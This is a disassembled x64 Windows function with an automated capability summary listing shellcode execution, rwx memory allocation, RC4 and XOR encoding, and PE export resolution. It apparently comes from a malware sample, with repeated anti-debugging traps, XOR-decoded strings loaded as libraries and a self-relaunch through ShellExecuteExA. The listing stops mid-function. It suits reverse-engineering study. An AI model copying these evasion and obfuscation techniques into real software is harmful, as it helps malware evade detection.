Function at 0x140051044
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400bfeb0
sub rsp, rax
mov rax, qword [0x14012c700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x2b]
mov r14d, 0xe04aa78f
mov r12d, 0x32f0cfc6
cmp rax, r12
jne 0x140051137
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051117
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051117
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051137
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov ecx, r12d
call fcn.140014744
mov rax, qword gs:[0x2b]
movabs rsi, 0xe742c5c04d18e104
cmp rax, r12
jne 0x1400511f3
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400511d3
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400511d3
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400511f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
mov ebx, 0x550d840
mov r13d, 0xf355282
cmp rax, r12
jne 0x1400512b8
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, r13d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051298
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051298
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400512b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov ecx, r12d
call fcn.140050648
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x14005136a
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005134a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005134a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005136a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051414
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400513f4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400513f4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051414
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
lea rdx, [0x14011d110]
lea rcx, [rbp + 0x998]
call fcn.140014108
mov rdx, rax
mov ecx, r12d
call fcn.140023b84
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400514dc
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400514bc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400514bc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400514dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051586
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051566
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051566
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051586
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov dword [rbp + 0x90], 0x7106a069
mov dword [rbp + 0x94], 0xc1e99b1c
mov word [rbp + 0x98], 0xb5
xor r15d, r15d
mov edi, r15d
movabs rsi, 0x110800a91
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.1400609a4
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400515b3
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x2b]
cmp rax, r12
movabs rsi, 0xe742c5c04d18e104
jne 0x1400516af
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005168f
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005168f
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400516af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x14005176a
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005174a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005174a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005176a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov dword [rbp + 0x1f0], 0xf9522edc
mov dword [rbp + 0x1f4], 0x385e30be
mov dword [rbp + 0x1f8], 0xc195d640
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140060600
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14005179d
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x140051895
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051875
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051875
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051895
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140050808
test eax, eax
jne 0x140051b40
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400e9710
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400519b2
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400e9710
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x17a06100
mov word [rbp - 0x6c], 0xf0
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140060930
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140051922
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140060287
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1400519bc
movabs r14, 0x110800a91
mov word [rsp + 0x78], reloc.WS2_32.dll___WSAFDIsSet
mov qword [rsp + 0x20], r14
mov esi, 1
mov r9d, esi
xor r8d, r8d
mov dl, reloc.WS2_32.dll___WSAFDIsSet
lea rcx, [rsp + 0x78]
call fcn.1400607d8
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140050688
mov rbx, rax
movdqa xmm0, xmmword [0x140121c60]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x140121cc0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x6ea150ed
mov dword [rbp + 0xc1c], 0x6e4d2f4d
mov dword [rbp + 0xc20], 0x7ffa6a4
mov word [rbp + 0xc24], 0xfb
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.1400608bc
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x140051a43
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140061950
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140061b10
lea rcx, [rbp + 0x9d8]
call fcn.140061468
lea rcx, [rbp + 0x9b8]
call fcn.140061468
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_60
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.1400603b8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
add rdi, rsi
cmp rdi, 0x11
jb 0x140051adc
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.1400610bc
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051bfb
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051bdb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051bdb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051bfb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051cab
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051c8b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051c8b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051cab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051d66
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051d46
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051d46
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051d66
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051e10
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051df0
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051df0
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051e10
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140051eba
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051e9a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051e9a
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140051eba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
xor ecx, ecx
call fcn.1400c7984
mov rbx, rax
mov word [rsp + 0x7c], 0xcc
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r13d, 1
mov r9d, r13d
xor r8d, r8d
mov dl, 0xcc
lea rcx, [rsp + 0x7c]
call fcn.1400607d8
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xddaf0bc1
mov word [rbp - 0x5c], 0xfe98
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140060678
xor al, dil
mov byte [rbp + rdi - 0x60], al
add rdi, r13
cmp rdi, 6
jb 0x140051f10
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400cae64
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x14005201c
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140051ffc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140051ffc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005201c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400520c6
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400520a6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400520a6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400520c6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov ecx, 2
call fcn.1400c7984
mov rbx, rax
mov word [rbp - 0x80], 0xc9
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9, r13
xor r8d, r8d
mov dl, 0xc9
lea rcx, [rbp - 0x80]
call fcn.1400607d8
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x8d463b96
mov dword [rbp - 0x34], 0x4b5188
mov rdi, r15
mov r13d, 7
mov qword [rsp + 0x20], r14
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140060848
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, r13
jb 0x140052117
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400cae64
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x14005221e
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400521fe
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400521fe
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005221e
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400522c8
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400522a8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400522a8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400522c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov edi, 1
mov ecx, edi
call fcn.1400c7984
mov rbx, rax
mov word [rbp - 0x7c], 0xc9
movabs rsi, 0x110800a91
mov qword [rsp + 0x20], rsi
mov r9d, edi
xor r8d, r8d
mov dl, 0xc9
lea rcx, [rbp - 0x7c]
call fcn.1400607d8
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x8d463b96
mov dword [rbp - 0x2c], 0x4b5188
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140060848
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, r13
jb 0x140052315
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400cae64
mov rax, qword gs:[0x2b]
cmp rax, r12
movabs rsi, 0xe742c5c04d18e104
jne 0x14005240b
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400523eb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400523eb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005240b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400524b5
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052495
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052495
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400524b5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121c70]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x140121d00]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x140121c30]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xc5857efe
mov dword [rbp + 0xd4c], 0xd9f28a26
mov dword [rbp + 0xd50], 0x4f223252
mov word [rbp + 0xd54], 0x14c2
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140060764
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140052521
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140013fac
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
mov ebx, 0x550d840
jne 0x14005262f
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005260f
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005260f
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005262f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400526d9
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
